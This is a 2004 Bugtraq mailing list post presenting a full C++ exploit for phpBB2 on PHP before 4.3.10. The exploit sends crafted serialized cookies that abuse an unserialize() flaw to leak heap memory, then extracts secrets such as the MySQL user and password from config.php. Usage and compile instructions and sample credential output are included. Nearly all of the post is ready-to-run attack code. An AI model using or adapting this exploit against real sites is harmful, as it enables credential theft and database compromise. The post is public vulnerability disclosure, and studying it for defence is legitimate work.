Date: 17 Dec 2004 17:20:23 -0000
From: bad boy <slythers@...il.com>
To: bugtraq@...urityfocus.com
Subject: phphpbb2 + php version < 4.3.10 unserialize() memory dump sql
    password from config.php exploit




php bug in ext/standart/var_unserializer.c in php < 4.3.10
for dump php heap memory with phpbb2 ,who use unserialize() for cookie , and found the config.php(sql password) in the heap.

you need http://overdose.tcpteam.org/serv.h and http://overdose.tcpteam.org/serv.cpp for compile


/*
	*** coded by overdose ***
	slythers@...il.com
	php bug in ext/standart/var_unserializer.c http://www.securityfocus.com/archive/1/384663/2004-12-13/2004-12-19/0
	for read heap memorie with phpbb2 ;>
	tested : phpbbmemorydump.exe "http://site.com/phpbb/" 30000 -cookiename=phpbb2support > a.txt
	result:
		- string detected : /home/virtual/site.com/phpBB/config.php
		- string detected : dbname
		- string detected : PT_N
		- string detected : phpbb
		- string detected : dbuser
		- string detected : phpbb  << mysql user
		- string detected : dbpasswd
		- string detected : phpBB_R0cKs << mysql password
		- string detected : table_prefix
		- string detected : phpbb_
	use like :
		phpbbmemorydump.exe "http://site.com/phpbb2/" nboctettoreadinheap [repeat/display_all_heap] [-cookiename=phpbb2mysql]
	greetz:
	my crew MWA
	pull the plug , vortex challenge
	www.security-challenge.com
	http://overdose.tcpteam.org/
	slipknot , dr dre , ...
	all #s-c and all i forget
	compile with borland c++ (freecommandlinetools) :
		bcc32 -c serv.cpp
		bcc32 bbmemorydump.cpp serv.obj
*/

#include <winsock.h>
#include <iostream.h>
#include "serv.h"

#define HTTP_PORT 80
#define SIGNATURE_REQUEST signaturequete
#define SIGNATURE_REQUEST_START "\nSet-Cookie: "
#define DEFAULT_COOKIE_NAME "phpbb2mysql"
#define END_SIGNATURE "_data="
#define MIN_NB_LETTRE 3
#define NB_SEC_FOR_WAIT 1000*5 // 5 secondes

char signaturequete[512];

struct url{
	char *dns;
	char *uri;
	unsigned short port;
};

struct url parseurl(char *of);
char * intostr(int erf);
bool goodcar(char carac);
unsigned int utf8decode(char *utf);
char alphanum(char *of,bool *wesh);

int main(int argc,char **argv)
{
	struct url urlparsed;
	serveur http;
	unsigned int nbmemread;
	char car;
	bool repeat = 0;
	bool displayheap = 0;
	char *cookname = DEFAULT_COOKIE_NAME;
	WSAData wsadata;
	if (WSAStartup(MAKEWORD(2, 0),&wsadata) != 0)
		return 1;
	cout <<"coded by overdose / bad boyz coding"<<endl;
	if(argc < 3)
	{
		cout <<" use like : "<<argv[0]<<" \"http://site.com/phpbb2/\" nboctettoreadinheap [repeat/display_all_heap] [-cookiename=phpbb2mysql]"<<endl;
		return 0;
	};
	for(int argcpt = 3;argcpt < argc;argcpt++)
	{
		if(!strcmp(argv[argcpt],"repeat"))
			repeat = 1;
		else if(!strcmp(argv[argcpt],"display_all_heap"))
			displayheap = 1;
		else if(!strncmp(argv[argcpt],"-cookiename=",sizeof("-cookiename=")-1))
		{
			cookname= argv[argcpt] + sizeof("-cookiename=")-1;
		};
	};
	strcpy(SIGNATURE_REQUEST,SIGNATURE_REQUEST_START);
	strcat(SIGNATURE_REQUEST,cookname);
	strcat(SIGNATURE_REQUEST,END_SIGNATURE);
	nbmemread = atoi(argv[2]);
	if(!nbmemread)
		return 0;
	urlparsed = parseurl(argv[1]);
	if(!urlparsed.uri)
		return 0;
	do{
		http.createsocket();
		if(!http.connectsocket(urlparsed.dns,urlparsed.port))
		{
			cout << "can't connect to "<<urlparsed.dns<<endl;
			return 0;
		};
		http << "GET " ;
		http << urlparsed.uri ;
		http << " HTTP/1.1\nHost: ";
		http << urlparsed.dns ;
		http << "\nCookie: ";
		http << cookname;
		http << "_data=s:";
		http << intostr(nbmemread);
		http << ":%22test1%22%3b; expires=Fri, 24-Dec-2005 21:25:37 GMT; path=/; domain=";
		http << urlparsed.dns;
		http << "\nCookie: ";
		http << cookname;
		http << "_sid=1cfd759c33ba2a45b994c7b7cfd948ec; path=/; domain=";
		http << urlparsed.dns;
		http << "\nAccept-Language: fr\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\nConnection: close\n\n";
		cout <<"requete effectuer ..."<<endl;
		char signature[sizeof(SIGNATURE_REQUEST)];
		char *word,*wtmp;
		unsigned int cpt ,sizesign;
		unsigned int compteur,cptstr;
		bool exit = 0;
		sizesign = strlen(SIGNATURE_REQUEST);
		memset(signature,'a',sizesign);
		signature[sizesign] ='\0';
		compteur = 0;
		cptstr = 0;
		while(!exit && http.getnb(&car,sizeof(char)))
		{
			// ajout du detecteur de heap
			for(cpt = 0; cpt < (sizesign-1);cpt++)
				signature[cpt] = signature[cpt+1];
			signature[sizesign-1] = car;
			if(!strcmp(signature,SIGNATURE_REQUEST))
			{
				word = new char[nbmemread*3+1];
				word[cptstr] = '\0';
				compteur = strlen(intostr(nbmemread)) + 4;
				for(cpt = 0; cpt < compteur;cpt++)
					http.getnb(&car,sizeof(char));
				while(!exit && http.getnb(&car,sizeof(char)))
				{
					if((car == ';') || (cptstr >= (nbmemread*3)))
					{
						exit = 1;
						continue;
					};
					word[cptstr] = car;
					cptstr++;
					word[cptstr] ='\0';
				};
				if(displayheap)
					cout << word<<endl;
				nbmemread = utf8decode(word);
				for(compteur = 0;compteur < nbmemread;)
				{
					for(cpt=compteur;goodcar(word[cpt]);cpt++);
					if((cpt - compteur) > MIN_NB_LETTRE )
					{
						wtmp = new char[(cpt - compteur)+1];
						strncpy(wtmp,&word[compteur],cpt - compteur);
						wtmp[cpt - compteur] = '\0';
						cout <<"- string detected : " <<wtmp<<endl;
						delete[] wtmp;
					}
					if(!(cpt - compteur))
						cpt++;
					compteur = cpt;
				};
				delete[] word;
			};
		};
		http.closesock();
		if(repeat)
		{
			cout <<endl<<"attente jusqu'a la prochaine requete ..."<<endl;
			Sleep(NB_SEC_FOR_WAIT);
		};
	}while(repeat);
	/*
	delete[] urlparsed.uri;
	delete[] urlparsed.dns;
	*/
	WSACleanup();
	return 0;
}

struct url parseurl(char *of)
{
	struct url retour;
	unsigned int taille;
	char tmp;
	retour.dns = 0x00;
	retour.uri = 0x00;
	retour.port = HTTP_PORT ;
	while( *of && (*of != ':'))
		of++;
	if(*of && *(of+1) && *(of+2))
	{
		if((*(of+1) != '/') || (*(of+2) != '/'))
			return retour;
		of += 3;
		for(taille = 0; (of[taille] != '/') && (of[taille] != '\0') && (of[taille] != ':');taille++);
		retour.dns = new char [taille+1];
		memcpy(retour.dns,of,taille);
		retour.dns[taille] = '\0';
		of += taille;
		if(*of == ':')
		{
			of++;
			for(taille = 0; (of[taille] != '/') && (of[taille] != '\0');taille++);
			tmp = of[taille];
			of[taille] = '\0';
			if(taille)
				retour.port = atoi(of);
			of[taille] = tmp;
			of += taille;
		};
		if(!*of)
		{
			retour.uri = new char[2];
			strcpy(retour.uri,"/");
		}
		else
		{
			retour.uri = new char [strlen(of)+1];
			strcpy(retour.uri,of);
		};
	};
	return retour;
}

char * intostr(int erf)
{
	char *chaine;
	int puissance;
	int erf2;
	if( erf >= 0)
	{
		puissance =0;
		for(int kekette = 1;kekette<=erf;kekette = kekette*10)
		{
			puissance++;
		};
		if (puissance == 0)
		{
			puissance = 1;
		};
		chaine = new char[puissance+1];
		chaine[puissance] ='\0';
		for(int arf = puissance-1;arf >=0;arf--)
		{
			erf2 = erf % 10 ;
			chaine[arf] = '0' + erf2;
			erf = erf /10;
		};
		return chaine;
	}
	else
		return 0;
}

bool goodcar(char carac)
{
	unsigned short cpt;
	if(!carac)
		return 0;
	// i hate do like this :/
	char *goodcar = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMONPQRSTUVWXYZ012345689<>é@à)]=}è[_-{#&*\\/-+~'ç$%.:;|^~$,!?\"\'\t\r\n ";
	for(cpt = 0;(goodcar[cpt] != '\0') && (goodcar[cpt] != carac);cpt++);
	if(goodcar[cpt] == carac)
		return 1;
	return 0;
}

unsigned int utf8decode(char *utf)
{
	char *r;
	char *w;
	char tmp;
	bool han;
	r = w = utf;
	while(*r)
	{
		if(*r =='%')
		{
			tmp = alphanum(r+1,&han);
			if(han)
			{
				*w = tmp;
				r += 2;
			}
			else
				*w = *r;
		}
		else
			*w = *r;
		w++;
		r++;
	};
	*w = '\0';
	return (w-utf);
}

char alphanum(char *of,bool *wesh)
{
	unsigned char retour;
	retour = 0x00;
	*wesh = 0;
	if(!(*of && *(of+1)))
		return 0x00;
	if((*of >= 'a') && (*of <= 'f'))
		retour = ((*of - 'a') +10) * 0x10;
	else if((*of >= 'A') && (*of <= 'F'))
		retour = ((*of - 'A') +10) * 0x10;
	else if((*of >= '0') && (*of <= '9'))
		retour = (*of - '0') * 0x10;
	else
		return 0x00;
	of++;
	if((*of >= 'a') && (*of <= 'f'))
		retour += ((*of - 'a') +10);
	else if((*of >= 'A') && (*of <= 'F'))
		retour += ((*of - 'A') +10);
	else if((*of >= '0') && (*of <= '9'))
		retour += (*of - '0');
	else
		return 0x00;
	*wesh = 1;
	return retour;
}

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